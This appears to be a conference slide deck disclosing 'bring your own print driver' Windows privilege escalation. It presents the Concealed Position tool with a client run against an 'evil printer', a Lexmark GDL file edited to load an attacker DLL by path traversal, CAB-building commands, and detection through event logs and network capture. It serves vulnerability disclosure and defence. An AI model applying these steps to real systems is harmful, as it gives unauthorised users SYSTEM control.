- We crossed a security boundary
- A standard user wrote a driver of their choosing into the Driver Store
- The driver we chose let's us escalate to SYSTEM.

STAGING A PRINT DRIVER

Is THIS A WINDOWS VULNERABILITY?




NO!

- This is working as designed.
- Features aren't vulnerabilities.

Time	Process	Action	Path	Result	Access
8:42:04.2624924	spoolsv.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.2643248	spoolsv.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3004928	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3024409	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3033061	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3037556	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3044149	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.3066388	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.9900653	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	NAME NOT FOUND	NT AUTHORITY\SYSTEM
8:42:04.9918008	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	NAME NOT FOUND	NT AUTHORITY\SYSTEM
8:42:04.9927223	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.9928730	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:04.9939045	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.0055380	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.0057562	DrvInst.exe	CreateFile	C:\Windows\System32\spool\{2D74F1D3-B980-4333-9A32-43726401B053}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.0072594	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	NAME NOT FOUND	NT AUTHORITY\SYSTEM
8:42:05.0538106	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.1020867	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.1784953	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.1956234	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:05.2200021	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:08.3548010	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	NOT A DIRECTORY	NT AUTHORITY\SYSTEM
8:42:08.3549454	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	NOT A DIRECTORY	NT AUTHORITY\SYSTEM
8:42:08.3619231	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:08.3628590	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\Temp\{5b2f7c2-c78d-8047\ba3e-129478ad53a4}\oemsetup.inf	SUCCESS	NT AUTHORITY\SYSTEM
8:42:08.3706659	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\FileRepository\oemsetup.inf_amd64_9e2bf606b343d0fc	NAME NOT FOUND	NT AUTHORITY\SYSTEM
8:42:08.3710306	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\FileRepository\oemsetup.inf_amd64_9e2bf606b343d0fc	SUCCESS	NT AUTHORITY\SYSTEM
8:42:08.3716197	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\FileRepository\oemsetup.inf_amd64_9e2bf606b343d0fc	SUCCESS	NT AUTHORITY\SYSTEM
8:42:08.3716200	DrvInst.exe	CreateFile	C:\Windows\System32\DriverStore\FileRepository\oemsetup.inf_amd64_9e2bf606b343d0fc	SUCCESS	NT AUTHORITY\SYSTEM

STAGING A PRINT DRIVER Is THIS A WINDOWS VULNERABILITY?



STAGING A PRINT DRIVER

Is THIS USEFUL?



YES!

- Nothing stopping us from installing old print drivers with known vulnerabilities
- No obvious way to patch this



BRING YOUR OWN PRINT DRIVER VULNERABILITY

BRING YOUR OWN PRINT DRIVER VULNERABILITY TOOL INTRODUCTION: CONCEALED POSITION



[https://github.com/jacob-baines/concealed_position/](https://github.com/jacob-baines/concealed_position)

The screenshot shows a GitHub repository page for 'jacob-baines / concealed_position'. The repository is private, has 1 branch, 0 tags, and 9 commits. The commit history includes:

- jacob-baines Tweaked some metadata for a screenshot (15f39c9, 3 days ago)
- 3rdparty Restructured the code base. Hopefully didn't break anything. (16 days ago)
- cab_files Added a PoC for CVE-2020-1300 called SLASHINGDAMAGE (4 days ago)
- src Tweaked some metadata for a screenshot (3 days ago)
- .gitignore Restructured the code base. Hopefully didn't break anything. (16 days ago)
- LICENSE Initial commit (18 days ago)
- README.md Update README.md (18 days ago)
- concealed_position.sln Restructured the code base. Hopefully didn't break anything. (16 days ago)

The repository has 1 star, 0 forks, and 0 issues. It includes sections for About, Releases, Packages, and Languages.

About
Bring your own print driver privilege escalation tool

Releases
No releases published [Create a new release](#)

Packages
No packages published [Publish your first package](#)

Languages
C++ 100.0%

BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION



- Developed in C++
- Bad ASCII art
- Three components:
 - a. Server: Configuring the evil printer
 - b. Client: Automates driver staging and privilege escalation
 - c. DLL: The code to execute as SYSTEM

BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION



- Currently implements four LPE exploits
- All with silly names. Because names are fun.
 - CVE-2020-1300: SlashingDamage (Windows)
 - CVE-2019-19363: PoisonDamage (Ricoh)
 - CVE-2021-35449: AcidDamage (Lexmark)
 - ????: RadiantDamage (Canon)
- The last three supports local-only exploitation if the affected driver is in the driver store.

BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION SERVER



BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION CLIENT



BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION CLIENT IN ACTION



```
C:\Users\lowlevel>cp_client -r 10.0.0.6 -n evilprinter -e ACIDDAMAGE

[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.6\evilprinter
[+] Staging driver in driver store
[+] Driver staged!
[+] Installing the staged driver
[+] Driver installed!
[+] Starting ACIDDAMAGE
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping dll to disk
[+] Installing printer


C:\Users\lowlevel>
```

BRING YOUR OWN PRINT DRIVER VULNERABILITY

CLIENT PRINTER WINAPI CALLS



- Calls to the remote printer:
 - OpenPrinter
 - GetPrinterDriver
 - ClosePrinter
- Local calls:
 - InstallPrinterDriverFromPackage
 - AddPrinter
 - DeletePrinter
 - ClosePrinter
- Silent
 - No UI
 - No windows update



BRING YOUR OWN PRINT DRIVER VULNERABILITY

WHY NOT POWERSHELL?



- The following will introduce the driver to the driver store:

```
AddPrinter -ConnectionName \\10.0.0.6\evilprinter
```

- Invokes and gets stuck in Windows Update
- Plus, I just like C++



NEW DRIVER VULNERABILITIES

NEW DRIVER VULNERABILITIES

CVE-2021-35449: AcidDamage



- [Lexmark Universal Printer Driver](#) 2.15.1.0 and below
- Reads attacker controlled configuration file from ProgramData to locate .dll
- Attacker inserts a malicious dll to escalate to SYSTEM.

Universal Color Laser.gdl - Notepad

```
<CONSTRUCT Name="*Feature" Instance="RESDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">None</GDL_ATTRIBUTE>
    <CONSTRUCT Name="*Option" Instance="UniresDLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">unires.dll</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="COMMON_RES DLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UE.DLL</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="PSSD_RES DLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UH.DLL</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="COMMON_BMP DLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UD.DLL</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="FRAMEWORK DLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UB.DLL</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="FRAMEWORK XML">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10P0.XML</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="HELPFILE CHM">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UI.CHM</GDL_ATTRIBUTE>
    </CONSTRUCT>
```

Universal Color Laser - Notepad

```
<CONSTRUCT Name="*Feature" Instance="RESDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">None</GDL_ATTRIBUTE>
    <CONSTRUCT Name="*Option" Instance="UniresDLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">unires.dll</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="COMMON_RES DLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">...\\..\\..\\..\\tmp\\Dll.dll</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="PSSD_RES DLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UH.DLL</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="COMMON_BMP DLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UD.DLL</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="FRAMEWORK DLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UB.DLL</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="FRAMEWORK XML">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10P0.XML</GDL_ATTRIBUTE>
    </CONSTRUCT>
    <CONSTRUCT Name="*Option" Instance="HELPFILE CHM">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD10UI.CHM</GDL_ATTRIBUTE>
    </CONSTRUCT>
```

NEW DRIVER VULNERABILITIES

CVE-2021-35449: AcidDamage



- The Concealed Position implementation is here:
https://github.com/jacob-baines/concealed_position/blob/main/src/cp_client/aciddamage.cpp
- Metasploit pull request should exist at the time of presentation. Sorry! Challenges of recording weeks in advance.

NEW DRIVER VULNERABILITIES

CVE-2021-35449: AcidDamage



- Remember: Evil Printer Needs a CAB file
- Just download 2.10.0.5 from the [Update Catalog](#)

Microsoft® Update Catalog

Search results for "Lexmark Universal"

Updates: 1 - 3 of 3 (page 1 of 1)

Title	Products	Classification	Last Updated	Version	Size	Download
Lexmark International - Printers - Lexmark Universal v2 XL	Windows 8,Windows 8.1 and later drivers	Drivers (Printers)	7/5/2012	2.1.5.15	64.2 MB	Download
Lexmark International - Printers - Lexmark Universal v2	Windows 7,Windows 8,Windows 8.1 Drivers,Windows Server 2008 R2,Windows Server 2012,Windows Server 2012 R2 and later drivers	Drivers (Printers)	9/30/2015	2.10.0.5	23.8 MB	Download
Lexmark International - Printers - Lexmark Universal v2	Windows 10 Anniversary Update and Later Servicing Drivers,Windows 10 RS2 and Later Servicing Drivers for testing	Drivers (Printers)	9/30/2015	2.10.0.5	23.8 MB	Download

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Microsoft Update Catalog

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Download Updates


Lexmark International - Printers - Lexmark Universal v2

20942922_f85785ee293c7b78fa2f8f630eaeb78852af9133.cab

Close


NEW DRIVER VULNERABILITIES

CVE-2021-35449: AcidDamage



NEW DRIVER VULNERABILITIES

CVE-2021-35449: AcidDamage



Name	Date modified	Type	Size
amd64	7/5/2021 12:08 PM	File folder	
ar	7/5/2021 12:08 PM	File folder	
cs	7/5/2021 12:08 PM	File folder	
da	7/5/2021 12:08 PM	File folder	
de	7/5/2021 12:08 PM	File folder	
el	7/5/2021 12:08 PM	File folder	
en	7/5/2021 12:08 PM	File folder	
es	7/5/2021 12:08 PM	File folder	
fi	7/5/2021 12:08 PM	File folder	
fr	7/5/2021 12:08 PM	File folder	
hr	7/5/2021 12:08 PM	File folder	
hu	7/5/2021 12:08 PM	File folder	
i386	7/5/2021 12:08 PM	File folder	
it	7/5/2021 12:08 PM	File folder	
ja	7/5/2021 12:08 PM	File folder	
ko	7/5/2021 12:08 PM	File folder	
nl	7/5/2021 12:08 PM	File folder	
no	7/5/2021 12:08 PM	File folder	
pl	7/5/2021 12:08 PM	File folder	
pt_br	7/5/2021 12:08 PM	File folder	
ro	7/5/2021 12:08 PM	File folder	
ru	7/5/2021 12:08 PM	File folder	
sk	7/5/2021 12:08 PM	File folder	
sl	7/5/2021 12:08 PM	File folder	
sr_Latn	7/5/2021 12:08 PM	File folder	
sv	7/5/2021 12:08 PM	File folder	
tr	7/5/2021 12:08 PM	File folder	
zh	7/5/2021 12:08 PM	File folder	
zh_tw	7/5/2021 12:08 PM	File folder	
LMUD1o4b.gd_	10/23/2018 8:29 AM	GD_File	5 KB
LMUD1o4b.xml_	10/23/2018 8:29 AM	XM_File	2 KB
LMUD1o4bw.xml_	10/23/2018 8:29 AM	XM_File	6 KB
LMUD1o40	1/25/2021 6:08 AM	Security Catalog	133 KB
LMUD1o40.gd_	12/14/2020 3:06 AM	GD_File	104 KB
LMUD1o40(gp_	12/14/2020 3:06 AM	GP_File	17 KB
LMUD1o40.in_	2/2/2020 11:08 PM	IN_File	1 KB
LMUD1o40	12/14/2020 3:31 AM	Setup Information	231 KB
LMUD1o40.tx_	12/14/2020 3:30 AM	TX_File	150 KB
LMUD1o40m.gp_	2/2/2020 10:22 PM	GP_File	3 KB
LMUD1o4img.pn_	12/5/2019 8:50 AM	PN_File	8 KB

NEW DRIVER VULNERABILITIES

CVE-2021-35449: AcidDamage



```
files - Notepad
File Edit Format View Help
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o40.inf
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o40.in_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o40.tx_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o40m.gp_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o4b.gd_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o4b.xm_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1o4bw.xm_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1oimg.pn_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1op0.xm_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\LMUD1opt.xm_
.Set DestinationDir=amd64
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LangD11.dll
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o40.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o4a.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o4c.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o4z.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1o4z.ex_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1obc.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1obj.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1opt.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1opu.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1otd.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oua.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oub.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1ouc.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oud.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oue.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1ouf.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1oug.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\LMUD1ouh.d1_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\ntprint.cat
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\ntprint.inf
.Set DestinationDir=amd64/amd64
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\locale.gp_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\msxpsinc.gp_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\msxpsinc.pp_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\mxwdrv.dl_
C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI\amd64\amd64\p6disp.gp_
```

```
> dir /s /b /a-d > ..\files.txt
-- modify files.txt to include DestinationDir --
> makecab /D MaxDiskSize=268435456 /d "CabinetName1=LMUD1o40.cab" /f ..\files.txt

C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI>makecab /D MaxDiskSize=268435456
/d "CabinetName1=LMUD1o40.cab" /f ..\files.txt
Cabinet Maker - Lossless Data Compression Tool

32,080,966 bytes in 138 files
Total files:          138
Bytes before:        32,080,966
Bytes after:         28,880,599
After/Before:        90.02% compression
Time:                20.23 seconds ( 0 hr  0 min 20.23 sec)
Throughput:          1548.87 Kb/second

C:\Lexmark\Lexmark_Universal_v2_UD1_PCL\Drivers\Print\GDI>
```

NEW DRIVER VULNERABILITIES

CVE-2021-??? RADIANT DAMAGE



- [Canon TR150 Driver](#) 3.71.2.10 and below.
- Successful attack escalates privileges to SYSTEM.




NEW DRIVER VULNERABILITIES

CVE-2021-??? RADIANT DAMAGE



- Similar to Ricoh vulnerability. Race condition to overwrite dll in `C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 Series\LanguageModules\`
- Harder to time than Ricoh vulnerability.



NEW DRIVER VULNERABILITIES CVE-2021-??? RADIANT DAMAGE



Microsoft®Update Catalog

FAQ | help

Search results for "TR150"

Updates: 1 - 10 of 10 (page 1 of 1) ← Previous | Next →

Title	Products	Classification	Last Updated	Version	Size	Download
Canon - Printer - 3.71.2.10	Windows 7	Drivers (Printers)	3/31/2020	3.71.2.10	8.9 MB	Download
Canon - Printer - 3.71.2.10	Windows 7	Drivers (Printers)	3/31/2020	3.71.2.10	7.7 MB	Download
Canon - Printer - 3.71.2.10	Windows 10, version 1903 and later, Servicing Drivers, Windows 10, version 1903 and later, Upgrade & Servicing Drivers	Drivers (Printers)	3/31/2020	3.71.2.10	7.7 MB	Download
Canon - Printer - 3.70.2.10	Windows 10, version 1903 and later, Servicing Drivers	Drivers (Printers)	11/7/2019	3.70.2.10	8.9 MB	Download
Canon - Printer - 3.70.2.10	Windows 7	Drivers (Printers)	11/7/2019	3.70.2.10	8.9 MB	Download

NEW DRIVER VULNERABILITIES

CVE-2021-??? RADIANT DAMAGE



Canon TR150 series

1 2 3 4

Acquiring information on the latest driver and software.
Downloading... 5/16

For more details on function and settings, refer to the manual.

Cancel

Name	Date modified	Type	Size
PrnCm	4/1/2020 10:21 PM	Cabinet File	10 KB
PRNG3	4/1/2020 9:24 PM	Cabinet File	7,872 KB
PRNG6	4/1/2020 10:21 PM	Cabinet File	9,147 KB
PRNT.CHECKSUM	4/20/2020 9:23 AM	CHECKSUM File	1 KB
TR150U	4/17/2020 5:13 PM	Security Catalog	11 KB
TR150U	4/1/2020 8:33 PM	Setup Information	2 KB
TR1503	4/17/2020 5:13 PM	Security Catalog	72 KB
TR1503	4/1/2020 5:00 AM	Setup Information	19 KB
TR1506	4/17/2020 5:13 PM	Security Catalog	75 KB
TR1506	4/1/2020 5:00 AM	Setup Information	19 KB

NEW DRIVER VULNERABILITIES

CVE-2021-??? RADIANT DAMAGE



```
> dir /s /b /a-d > ../files.txt
> makecab /D MaxDiskSize=268435456 /d "CabinetName1=TR1506.cab" /f ../files.txt

          \AppData\Local\Temp\DL_FOLDER\PD__DL\PD__DL\pd__-win-tr150-1_01-ea34_2\Driver>dir /s /b /a-d > .
./files.txt

          \AppData\Local\Temp\DL_FOLDER\PD__DL\PD__DL\pd__-win-tr150-1_01-ea34_2\Driver>makecab /D MaxDisk
Size=268435456 /d "CabinetName1=TR1506.cab" /f ../files.txt
Cabinet Maker - Lossless Data Compression Tool

17,635,062 bytes in 10 files
Total files:           10
Bytes before:    17,635,062
Bytes after:     17,375,182
After/Before:      98.53% compression
Time:                  9.39 seconds ( 0 hr  0 min  9.39 sec)
Throughput:        1834.44 Kb/second

          _ \AppData\Local\Temp\DL_FOLDER\PD__DL\PD__DL\pd__-win-tr150-1_01-ea34_2\Driver>
```

NEW DRIVER VULNERABILITIES

CVE-2021-???: RADIANT DAMAGE



- Implementation can be found here:

https://github.com/jacob-baines/concealed_position/blob/main/src/cp_client/radiantdamage.cpp

- Metasploit pull request should exist at the time of presentation. Sorry! Challenges of recording weeks in advance.



DETECTION & MITIGATION

DETECTION EVENT ID 600



The screenshot shows the Windows Event Viewer interface. On the left, the navigation pane includes 'Event Viewer (Local)', 'Custom Views', and 'Administrative Events' (which is selected). Below these are 'Windows Logs', 'Applications and Services Logs', and 'Subscriptions'. The main pane displays 'Administrative Events' with a count of 59,193 events. A filter icon is present above the table. Two error events are listed:

Level	Date and Time	Source	Event ID	Task Category
Error	6/28/2021 7:13:30 PM	PrintService	600	Client-side rendering
Error	6/28/2021 7:13:28 PM	PrintService	601	Client-side rendering

A detailed view of the first event (Event 600, PrintService) is shown in a modal window. The 'General' tab is selected, displaying the following message:

The print spooler failed to import the printer driver that was downloaded from \\10.0.0.6\print\x64\PCC\slashing_damage.cab into the driver store for driver CutePDF Writer v4.0. Error code= 80070002. This can occur if there is a problem with the driver or the digital signature of the driver.

The 'Details' tab contains the following event properties:

Log Name:	Microsoft-Windows-PrintService/Admin		
Source:	PrintService	Logged:	6/28/2021 7:13:30 PM
Event ID:	600	Task Category:	Client-side rendering
Level:	Error	Keywords:	Client Side Rendering (CSR),Classic Spooler Event
User:	SYSTEM	Computer:	DESKTOP-94CB16L
OpCode:	Spooler Operation Failed		
More Information:	Event Log Online Help		


DETECTION EVENT ID 215



The screenshot shows the Windows Event Viewer interface. On the left, the navigation pane displays "Event Viewer (Local)" with "Administrative Events" selected. The main pane shows a table of events with columns for Level, Date and Time, and Source. One event is highlighted, showing the details for "Event 215, PrintService". The "Details" tab is selected, displaying the error message: "Installing printer driver PCL6 Driver for Universal Print failed, error code 0x0, HRESULT 0x80070705. See the event user data for context information." Below this, the event properties are listed:

Log Name:	Microsoft-Windows-PrintService/Admin		
Source:	PrintService	Logged:	7/9/2021 6:37:55 AM
Event ID:	215	Task Category:	Installing a printer driver
Level:	Error	Keywords:	Printer Setup,Printer
User:	SYSTEM	Computer:	feywild
OpCode:	Spooler Operation Failed		
More Information:	Event Log Online Help		

DETECTION SETUPAPI.DEV



The screenshot shows a Windows File Explorer window with a green border. The path is Local Disk (C:) > Windows > INF. A file named "setupapi.dev" is selected, showing it is a Text Document (1,501 KB). Below the file list is a Notepad window titled "setupapi.dev - Notepad" displaying the following INF file content:

```
>>> [Device Install (DiInstallDriver) - C:\Users\lowlevel\Desktop\LMUD1o40\LMUD1o40.inf]
>>> Section start 2021/07/05 13:56:57.387
    cmd: "C:\WINDOWS\System32\InfDefaultInstall.exe" "C:\Users\lowlevel\Desktop\LMUD1o40\LMUD1o40.inf"
    ndv: Flags: 0x00000000
    ndv: INF path: C:\Users\lowlevel\Desktop\LMUD1o40\LMUD1o40.inf
    inf: {SetupCopyOEMInf: C:\Users\lowlevel\Desktop\LMUD1o40\LMUD1o40.inf} 13:56:57.403
    inf:     Copy style: 0x00000000
    sto:     {Setup Import Driver Package: C:\Users\lowlevel\Desktop\LMUD1o40\LMUD1o40.inf} 13:56:57.423
    inf:         Provider: Lexmark International
    inf:         Class GUID: {4D36E979-E325-11CE-BFC1-08002BE10318}
    inf:         Driver Version: 01/08/2016,2.15.1.0
    inf:         Catalog File: LMUD1040.cat
```

DETECTION ON THE WIRE



The image displays two windows of the NetworkMiner tool, version 2.5.1, analyzing a capture file named "concealed_on_the_wire.pcapng".

Top Window: Shows a list of network packets. The selected packet (No. 35) is highlighted in light blue. The details pane shows the following information:

No.	Time	Source	Destination	Protocol	Length	Info
31	0.044523	10.0.0.6	10.0.0.7	SMB2	138	Write Response
32	0.044675	10.0.0.7	10.0.0.6	SMB2	171	Read Request Len:1024 Off:0 File: spoolss
33	0.046879	10.0.0.6	10.0.0.7	DCERPC	254	Bind_ack: call_id: 2, Fragment: Single, max_xmit: 4280 max_rec...
34	0.047050	10.0.0.7	10.0.0.6	SPOOLSS	464	OpenPrinterEx request, [Long frame (174 bytes)]
35	0.049137	10.0.0.6	10.0.0.7	SPOOLSS	218	OpenPrinterEx response
36	0.049301	10.0.0.7	10.0.0.6	SPOOLSS	274	GetPrinterData request, OSVersion
37	0.051174	10.0.0.6	10.0.0.7	SPOOLSS	502	GetPrinterData response, OSVersion[Long frame (292 bytes)]
38	0.051819	10.0.0.7	10.0.0.6	SPOOLSS	222	ClosePrinter request, OpenPrinterEx()
39	0.055567	10.0.0.6	10.0.0.7	SPOOLSS	218	ClosePrinter response

Bottom Window: Shows a list of network packets. A search filter "LMUD" is applied, highlighting several specific SMB2 requests. The details pane shows the following information:

No.	Time	Source	Destination	Protocol	Length	Info
